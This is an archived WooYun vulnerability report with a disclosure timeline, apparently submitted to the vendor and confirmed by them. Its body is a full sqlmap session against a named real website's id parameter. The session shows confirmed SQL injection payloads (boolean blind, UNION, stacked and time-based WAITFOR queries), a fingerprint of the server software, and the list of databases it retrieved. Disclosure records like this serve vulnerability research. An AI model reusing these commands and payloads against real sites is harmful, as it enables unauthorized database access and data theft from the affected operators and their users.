乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-02-12: 细节已通知厂商并且等待厂商处理中 2015-02-16: 厂商已经确认,细节仅向厂商公开 2015-02-26: 细节向核心白帽子及相关领域专家公开 2015-03-08: 细节向普通白帽子公开 2015-03-18: 细节向实习白帽子公开 2015-03-29: 细节向公众公开
RT//
航空飞机,飞一会儿。。。
[root@Hacker~]# Sqlmap Sqlmap -u "http://www.yce.tw/index-message.aspx?id=94" --dbs sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable[*] starting at 05:00:51[05:00:51] [INFO] testing connection to the target URL[05:00:51] [INFO] testing if the target URL is stable. This can take a couple of seconds[05:00:52] [INFO] target URL is stable[05:00:52] [INFO] testing if GET parameter 'id' is dynamic[05:00:53] [INFO] confirming that GET parameter 'id' is dynamic[05:00:53] [INFO] GET parameter 'id' is dynamic[05:00:53] [WARNING] reflective value(s) found and filtering out[05:00:54] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable[05:00:54] [INFO] testing for SQL injection on GET parameter 'id'[05:00:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[05:00:55] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable[05:00:57] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Microsoft SQL Server'do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] y[05:01:00] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'[05:01:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'[05:01:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[05:01:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'[05:01:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[05:01:02] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause'[05:01:03] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'[05:01:03] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'[05:01:03] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'[05:01:04] [INFO] testing 'MySQL inline queries'[05:01:04] [INFO] testing 'PostgreSQL inline queries'[05:01:04] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'[05:01:04] [INFO] testing 'Oracle inline queries'[05:01:05] [INFO] testing 'SQLite inline queries'[05:01:05] [INFO] testing 'MySQL > 5.0.11 stacked queries'[05:01:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries'[05:01:06] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'[05:01:16] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase stacked queries' injectable[05:01:16] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'[05:01:27] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase time-based blind' injectable[05:01:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[05:01:27] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found[05:01:28] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending[05:01:29] [INFO] target URL appears to have 7 columns in queryinjection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y[05:01:42] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectableGET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] ysqlmap identified the following injection points with a total of 66 HTTP(s) requests:---Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=94 AND 9764=9764 Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: id=-6794 UNION ALL SELECT 22,CHAR(113)+CHAR(114)+CHAR(114)+CHAR(110)+CHAR(113)+CHAR(107)+CHAR(75)+CHAR(71)+CHAR(83)+CHAR(69)+CHAR(80)+CHAR(72)+CHA Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: id=94; WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: id=94 WAITFOR DELAY '0:0:5'-----[05:01:44] [INFO] testing Microsoft SQL Server[05:01:44] [INFO] confirming Microsoft SQL Server[05:01:45] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2005[05:01:45] [INFO] fetching database names[05:01:46] [INFO] the SQL query used returns 8 entries[05:01:46] [INFO] retrieved: "Distribution"[05:01:46] [INFO] retrieved: "DistributionTest"[05:01:47] [INFO] retrieved: "master"[05:01:47] [INFO] retrieved: "model"[05:01:47] [INFO] retrieved: "msdb"[05:01:48] [INFO] retrieved: "ReportServer"[05:01:48] [INFO] retrieved: "ReportServerTempDB"[05:01:49] [INFO] retrieved: "tempdb"available databases [8]:[*] Distribution[*] DistributionTest[*] master[*] model[*] msdb[*] ReportServer[*] ReportServerTempDB[*] tempdb[05:01:49] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 4 times[05:01:49] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances w[05:01:49] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Desktop\???~1\???~1\SQLMAP~1.4\Bin\output\www.yce.tw'
NULL
危害等级:高
漏洞Rank:15
确认时间:2015-02-16 21:11
謝謝通報
暂无